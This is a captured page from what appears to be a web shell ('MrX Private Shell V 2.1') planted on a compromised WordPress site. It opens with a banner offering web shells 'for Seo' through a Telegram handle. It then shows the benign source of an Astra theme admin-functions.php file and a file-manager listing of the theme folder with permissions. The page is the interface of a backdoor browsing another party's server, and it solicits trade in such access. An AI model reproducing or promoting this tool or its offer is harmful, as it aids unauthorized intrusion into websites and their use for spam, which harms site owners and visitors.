__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Admin functions - Functions that add some functionality to WordPress admin panel
*
* @package Astra
* @since 1.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Register menus
*/
if ( ! function_exists( 'astra_register_menu_locations' ) ) {
/**
* Register menus
*
* @since 1.0.0
*/
function astra_register_menu_locations() {
/**
* Primary Menus
*/
register_nav_menus(
array(
'primary' => esc_html__( 'Primary Menu', 'astra' ),
)
);
if ( true === Astra_Builder_Helper::$is_header_footer_builder_active ) {
/**
* Register the Secondary & Mobile menus.
*/
register_nav_menus(
array(
'secondary_menu' => esc_html__( 'Secondary Menu', 'astra' ),
'mobile_menu' => esc_html__( 'Off-Canvas Menu', 'astra' ),
)
);
$component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_menu;
for ( $index = 3; $index <= $component_limit; $index++ ) {
if ( ! is_customize_preview() && ! Astra_Builder_Helper::is_component_loaded( 'menu-' . $index ) ) {
continue;
}
register_nav_menus(
array(
'menu_' . $index => esc_html__( 'Menu ', 'astra' ) . $index,
)
);
}
/**
* Register the Account menus.
*/
register_nav_menus(
array(
'loggedin_account_menu' => esc_html__( 'Logged In Account Menu', 'astra' ),
)
);
}
/**
* Footer Menus
*/
register_nav_menus(
array(
'footer_menu' => esc_html__( 'Footer Menu', 'astra' ),
)
);
}
}
add_action( 'init', 'astra_register_menu_locations' );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| addons | Folder | 0750 |
|
|
| assets | Folder | 0750 |
|
|
| blog | Folder | 0750 |
|
|
| builder | Folder | 0750 |
|
|
| compatibility | Folder | 0750 |
|
|
| core | Folder | 0750 |
|
|
| customizer | Folder | 0750 |
|
|
| dynamic-css | Folder | 0750 |
|
|
| lib | Folder | 0750 |
|
|
| metabox | Folder | 0750 |
|
|
| modules | Folder | 0750 |
|
|
| schema | Folder | 0750 |
|
|
| theme-update | Folder | 0750 |
|
|
| admin-functions.php | File | 1.62 KB | 0640 |
|
| class-astra-after-setup-theme.php | File | 11.02 KB | 0640 |
|
| class-astra-dynamic-css.php | File | 297.98 KB | 0640 |
|
| class-astra-extended-base-dynamic-css.php | File | 6.43 KB | 0640 |
|
| class-astra-global-palette.php | File | 13.89 KB | 0640 |
|
| class-astra-loop.php | File | 7.2 KB | 0640 |
|
| class-astra-mobile-header.php | File | 5.81 KB | 0640 |
|
| extras.php | File | 44.19 KB | 0640 |
|
| google-fonts.php | File | 189.03 KB | 0640 |
|
| index.php | File | 111 B | 0640 |
|
| markup-extras.php | File | 72.12 KB | 0640 |
|
| template-parts.php | File | 9.52 KB | 0640 |
|
| template-tags.php | File | 1.11 KB | 0640 |
|
| w-org-version.php | File | 647 B | 0640 |
|
| widgets.php | File | 4.32 KB | 0640 |
|